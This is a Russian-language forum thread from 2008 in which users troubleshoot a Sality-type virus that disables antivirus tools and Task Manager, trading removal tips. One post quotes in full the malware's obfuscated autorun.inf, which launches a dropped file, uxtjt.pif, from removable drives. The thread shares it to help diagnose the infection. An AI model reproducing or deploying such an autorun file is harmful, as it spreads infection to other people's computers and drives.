extensa

такой вопросик... решил хорошо разрекламированную здесь AVZ у сестрички на компе испытать. у нее аппарат слабенький, проц 1,7 256 оперативы, но ей для черчения хватает. ставил как-то ей каспера, но она его отключила, мол и так тормозит, а с этим антивиром, так ваще....
ну вот и вирусни нахваталась вобщем. я обычно KAV 7 пользуюсь, решил еще раз ей установить его и прогнать поганого червя. а глюк у нее такой был: при загрузке системы (все той же любимой sp3 2008 sam lab) на экране зависало окно - какой то там фаил не является каталогом или указан неверный путь или имя файла, при этом в автозагрузке появлялась папка "УУУУУУ". ее из автозагрузки удаляешь, а после перезагрузки такая же херня. ну я по свойствам етой папки вычислил ее местонахождение на С:, с горем пополам удалил. ну вот, ставлю каспера, а он цобако, не хочет запускаться.... все вродь на своих местах, а ехе.шник запускаешь - не реагирует.... тогда времени мало было, собрался, поехал домой, думал потом разберусь. когда в следующий раз приехал, качнул ей с нэта AVZ, начинаю запускать, а она 2-3 секунды и окошко закрывается???? так походу и каспер и AVZ, не хотят включаться??? че за хрень??? мож какая служба запущена???
да, еще сегодня на работе свой комп проверил AVZ, а коллеге скинул, так у него такая ж фигня - 2-3 секунды и окошко закрывается....
кто-нибудь может пояснить че это???

Iljeben

Через безопасный режим запускается антивирь?
Пробуй прицепить винт на другой комп и там полечить.
Проверь на вирусы другим антивирусом, например nod32 (http://www.esetnod32.ru/download/index.php).
Если есть установочный диск с Windows вставь в привод, в командной строке (Пуск->Выполнить->cmd) набери sfc /revert

extensa

я все это обязательно попробую, через пару дней к сестричке заеду
может у кого еще какие мнения??? пишите кто че думает....

extensa

:wallbash:

Denesis

И NOD тоже не запустится. Я позавчера мало времени провел с ноутом, где такая же дрянь. Не открывается msconfig, реестр, диспетчер и все, что полезное. Не открылся и AVZ и НОД и Др.Вэб. Словом ничего. В безопасный не заходит - синий экран. Ставишь другие малоизвестные анивири (которых не тв блэклисте у вируса) и только они начинают работу, как ноут виснет намертво. Но, к сожалению, я не успел ничего сделать, так как человеку на автобус нужно было. В пятницу ноут поподает ко мне на ночь. Как удалить вирус - скажу только в пятницу. Пока - совет, если хочешь что-то попытатся, то делай это совсем неизвестными антивирусами и альтернативными диспетчерами задач.

Added 12.16.2008 23:12:51:
А за наши, обычые антивирусы стоит забыть. И еще: AVZ вы можете запустить переименовав сам AVZ*.exe в AVZ1.exe. С таким именем он грузится. Но потом, как и все другое - висит, как только начинает сканировать rootkit.

extensa

Ну да, у товарища те же заморочки Я сам до этого компа раньше сб не доберусь, так что пробуй с буком, потом расскажешь

Denesis

Обязательно, это был первый вирус, с которым я не разобрался. Это меня сильно зацепило. Сделаю - расскажу.

Iljeben

Скорее всего у тя вирус Win32.Sality.NAO, он ехешники хавает. Есть два выхода:
1. Вставь свой хард кому нибудь и там проверь его на вирусы и вылечет. Потом заново переустанови Антивирус. Обнови его и работай, хотя после вирусной атаки глюки будут присутствовать.
2. Форматни свой хард и заново переустанови операционку. Потом антивирус и обновление к нему. Включаешь защиту и наслаждаешься)))
См. http://pchelpforum.ru/viewtopic.php?id=5010 там есть ссылка на архив пробуй.

extensa

просветите как на какой-нить сайт фото закинуть, чтоб потом ссылку на него дать и пару скринов здесь выложить, а то не когда не пробовал.....
у сестры альтернативный диспетчер задач открывается, мож там какой процесс грохнуть??? я бы скрин выложил, вместе б покумекали!!?
у меня щас нэт на работе поршивенький, ссылочка не открывается, дома попробую....

Denesis

Выгружай фотки сюда.
Жаль, что мне это не подойдет. Переустановка Windows - невозможна.

extensa

что вы имеете в виду???
Я тут на работе обнаружил, что ета нечисть по сети распространилась, но мой комп минуло.... у всех симптомы одни и теже, повырубало антивири, не запскается диспетчер задач, и исчо сидит AutoRun. inf, который последнее время меня подза...бал. Раньше он как-то без возмущений удалялся, а на зараженных компах нехочет нивкакую. тело вируса следующее:

;pPaEK bdWg kVIkX Vcxm VeXSnkNSwn qtoFQQaPfVePDljhpQFpiLVQnkM vkRQ
[AutoRun]
;SPnXHbwUvaFUa EeeigbOKvhw
oPen =uxtjt.pif

;
SHeLl\OPeN\coMMAnd= uxtjt.pif

;aLmnfa MteXHvyBBdVrEnYKcwex
ShELL\eXPLOre\Command =uxtjt.pif

;KUwhBuhSeaXqD IFFUC
shELl\opEn\DEFaulT=1

;Jtxv nVkXwfrJjvoc hcehaTrfGa gNWiSRbsg kWkVVyUsnF
ShelL\auToplay\cOmMAnD= uxtjt.pif :disgust:

как видно, генерирует файл - uxtjt.pif, который удаляется без проблем, а сам AutoRun не поддается
у товарища эта беда на флешке, мой комп ее вобще не видит, на зараженных компах плешка открывается и сей вир не удаляется, флешка не форматируется и безопасно не извлекается.....
P.S. всё вышеуказанное Denesis для сведения, может поможет решить

Gosha

Качаете AVZ4.
Вообще посоветовал бы отключить антивирусы, файервол и локальную сеть с интернетом(не знаю какой у вас вирус, но при удалении некоторых, рекомендуется еще отключить восстановление системы)
И с помощью AVZ поискать вирусы.
Также можно принудительно удалить вредоносные, не желающиеся удаляться файлы (принудительно сняв процессы в диспетчере задач за них отвечающие) с помощью программы IceSword.
Найти нужный файл и нажав force delete.

Вообще вот пример работы с этими прогами по удалению вируса.(ps/ Скрипты запускаются в программе AVZ)

extensa

Gosha, вы внимательно читали предыдущие сообщения?

Denesis

Спасибо. Уже недождусь того ноута.
Gosha, так AVZ не запускается. А если и запустится, то при первой попытке коснутся памяти - виснет намертво.

Added 12.17.2008 22:12:14:
Спасибо. Ссылка оказалась полезной.

extensa

Iljeben прав, это Sality. Сейчас на работе прогоняю всю сеть KAVом на максимальных параметрах. Уже у коллеги на машине обнаружил 6 червей - Virus.Win32.Sality.aa, повреждены файлы с расширением .exe